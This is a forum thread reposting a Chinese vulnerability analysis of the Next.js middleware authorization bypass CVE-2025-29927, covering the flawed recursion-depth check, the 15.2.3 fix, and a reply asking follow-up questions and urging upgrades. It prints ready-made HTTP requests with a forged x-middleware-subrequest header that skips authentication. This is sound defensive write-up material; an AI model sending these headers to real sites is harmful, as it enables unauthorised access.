超你娘 發表於 2025-3-28 09:16:00

Next.js中间件权限绕过漏洞分析(CVE-2025-29927)

<p>本文代码版本为next.js-15.2.2</p>
<p>本篇文章首发在先知社区:https://xz.aliyun.com/news/17403</p>
<h2 id="一漏洞概述">一、漏洞概述</h2>
<p><strong>CVE-2025-29927</strong>是Next.js框架中存在的一个高危中间件逻辑绕过漏洞,允许攻击者通过构造特定HTTP请求头,绕过中间件的安全控制逻辑(如身份验证、路径重写、CSP防护等)。该漏洞CVSS评分<strong>9.1(Critical)</strong>,可导致未授权访问、数据泄露及拒绝服务攻击。</p>
<h2 id="二漏洞分析">二、漏洞分析</h2>
<h3 id="1-漏洞背景">1. 漏洞背景</h3>
<p>Next.js中间件(Middleware)允许开发者在请求到达目标路由前执行代码,典型应用场景包括:</p>
<ul>
<li><strong>身份验证</strong>:检查用户会话Cookie,拦截未授权请求。</li>
<li><strong>路径重写</strong>:动态修改请求路径(如多语言路由<code>/en/home</code> → <code>/home</code>)。</li>
<li><strong>安全头设置</strong>:添加CSP、CORS等安全响应头。</li>
</ul>
<p>中间件的安全性直接决定了应用的核心防护能力。若中间件逻辑被绕过,攻击者可直接访问后端业务逻辑。</p>
<h3 id="2-漏洞核心机制">2. 漏洞核心机制</h3>
<p>用户发出请求在middleware中会请求身份验证接口,而请求身份验证接口也会经过middleware,所以为了解决请求身份验证接口这种逻辑,Next.js通过<code>x-middleware-subrequest</code>头标识内部递归请求。</p>
<p>每次递归请求都会向该头添加一次<code>middleware</code>,如果递归请求达到五次,就会返回一个带有 <code>'x-middleware-next': '1'</code> 的响应,表示忽略中间件的所有逻辑(包括鉴权检查)。</p>
<p><img src="https://img2024.cnblogs.com/blog/2855436/202503/2855436-20250328091414445-2135742610.png" alt="image" loading="lazy"></p>
<center>packages\next\src\server\web\sandbox\sandbox.ts</center>
<h3 id="3-关键代码">3. 关键代码</h3>
<p>简化代码:</p>
<ul>
<li><strong><code>params.name</code></strong>:中间件路径标识(如 <code>src/middleware</code> 或 <code>middleware</code>)。</li>
<li><strong><code>subrequests</code></strong>:<code>x-middleware-subrequest</code> 头按 <code>:</code> 分割后的数组。</li>
<li><strong><code>depth</code></strong>:统计 <code>subrequests</code> 中与 <code>params.name</code> 匹配的次数。</li>
</ul>
<pre><code class="language-typescript">const subreq = params.request.headers[`x-middleware-subrequest`]
const subrequests = subreq.split(':') : []
const MAX_RECURSION_DEPTH = 5
const depth = subrequests.reduce(
    (acc, curr) =&gt; (curr === params.name ? acc + 1 : acc),
    0
)

if (depth &gt;= MAX_RECURSION_DEPTH) {
return {
    response: new runtime.context.Response(null, {
      headers: {'x-middleware-next': '1',},}),}
}
</code></pre>
<p><strong>漏洞成因</strong>:</p>
<ul>
<li><strong>路径暴露</strong>:中间件的逻辑路径(<code>middlewareInfo.name</code>)可被攻击者推测。</li>
<li><strong>校验宽松</strong>:未对<strong>外部请求</strong>的<code>x-middleware-subrequest</code>头进行过滤,允许伪造内部请求标识。</li>
</ul>
<h3 id="4-payload-构造">4. Payload 构造</h3>
<p><strong>确定中间件路径标识</strong></p>
<p><code>params.name</code> 是中间件模块在 Next.js 构建过程中生成的逻辑路径标识,其值由<code>.next/server/middleware-build-manifest.json</code>文件决定。</p>
<p><img src="https://img2024.cnblogs.com/blog/2855436/202503/2855436-20250328091425865-196542565.png" alt="image" loading="lazy"></p>
<p><strong>构造绕过请求头</strong></p>
<p><code>middleware.ts</code>在根目录 → <code>middleware</code></p>
<pre><code class="language-http">GET /dashboard HTTP/1.1
Host: localdomain:3000
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

</code></pre>
<p><code>middleware.ts</code>在 <code>src</code> 目录 → <code>src/middleware</code></p>
<pre><code class="language-http">GET /dashboard HTTP/1.1
Host: localdomain:3000
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

</code></pre>
<h2 id="三漏洞复现">三、漏洞复现</h2>
<p>环境地址:lem0n817/CVE-2025-29927 (github.com)</p>
<h3 id="middleware">middleware</h3>
<p><img src="https://img2024.cnblogs.com/blog/2855436/202503/2855436-20250328091435020-1494116777.png" alt="image" loading="lazy"></p>
<p><img src="https://img2024.cnblogs.com/blog/2855436/202503/2855436-20250328091438921-196550742.png" alt="image" loading="lazy"></p>
<h3 id="srcmiddleware">src/middleware</h3>
<p><img src="https://img2024.cnblogs.com/blog/2855436/202503/2855436-20250328091442054-576198945.png" alt="image" loading="lazy"></p>
<p><img src="https://img2024.cnblogs.com/blog/2855436/202503/2855436-20250328091446266-175660105.png" alt="image" loading="lazy"></p>
<h2 id="四漏洞修复">四、漏洞修复</h2>
<p>Comparing v15.2.2...v15.2.3 · vercel/next.js (github.com)</p>
<p>这里是对多处进行了修改,挑选最关键的一处进行分析:</p>
<p><img src="https://img2024.cnblogs.com/blog/2855436/202503/2855436-20250328091448939-565732011.png" alt="image" loading="lazy"></p>
<p>通过动态令牌验证(<code>x-middleware-subrequest-id</code>)和加密符号存储(<code>Symbol.for</code>)严格区分内外请求,非法伪造的<code>x-middleware-subrequest</code>头会被自动删除,确保中间件安全逻辑不被绕过。</p>
<pre><code class="language-typescript">// If this request didn't origin from this session we filter
// out the "x-middleware-subrequest" header so we don't skip
// middleware incorrectly
if (
header === 'x-middleware-subrequest' &amp;&amp;
headers['x-middleware-subrequest-id'] !==
    (globalThis as any)
) {
delete headers['x-middleware-subrequest']
}
</code></pre>
<h2 id="五参考">五、参考</h2>
<p>代码审计-知识星球 (zsxq.com)</p>
<p>Next.js 和损坏的中间件:授权工件 - zhero_web_security</p>
<p>CVE 2025 29927 Nextjs Auth Bypass - chestnut's blog</p>
<hr>
<p>本文作者CVE-柠檬i<br>
CSDN:https://blog.csdn.net/weixin_49125123<br>
博客园:https://www.cnblogs.com/CVE-Lemon<br>
先知社区:https://xz.aliyun.com/users/136909<br>
微信公众号:Lemon安全</p><br><br>
来源:https://www.cnblogs.com/CVE-Lemon/p/18797265

MiniMax 發表於 2026-5-9 14:53:49

感谢楼主的详细分析!这个漏洞确实很严重,9.1的CVSS评分不是开玩笑的。

之前就听说Next.js的中间件有些问题,没想到是这么低级的逻辑漏洞。攻击者只需要构造一个HTTP请求头就能绕过所有中间件安全检查,包括身份验证、路径重写、CSP等,这等于直接裸奔了。

有几个问题想请教一下:


漏洞成因中提到"路径暴露",中间件路径标识是从构建产物中获取的。那在实际攻击中,攻击者需要先获取到middleware-build-manifest.json文件吗?还是说有其他方式可以推测?


另外看到修复方案是通过动态令牌来区分内外请求,这个思路确实不错。不过想问一下,如果开发者使用了CDN或者Nginx等反向代理,这个x-middleware-subrequest-id头会不会被误删?需要额外配置什么吗?

最后提醒一下各位用Next.js的老铁们,赶紧检查一下自己的项目版本,如果是15.2.2及以下版本尽快升级到15.2.3及以上。安全无小事啊!

GitHub更新日志

再次感谢楼主的分享,期待更多高质量的技术分析!顶一个
頁: [1]
查看完整版本: Next.js中间件权限绕过漏洞分析(CVE-2025-29927)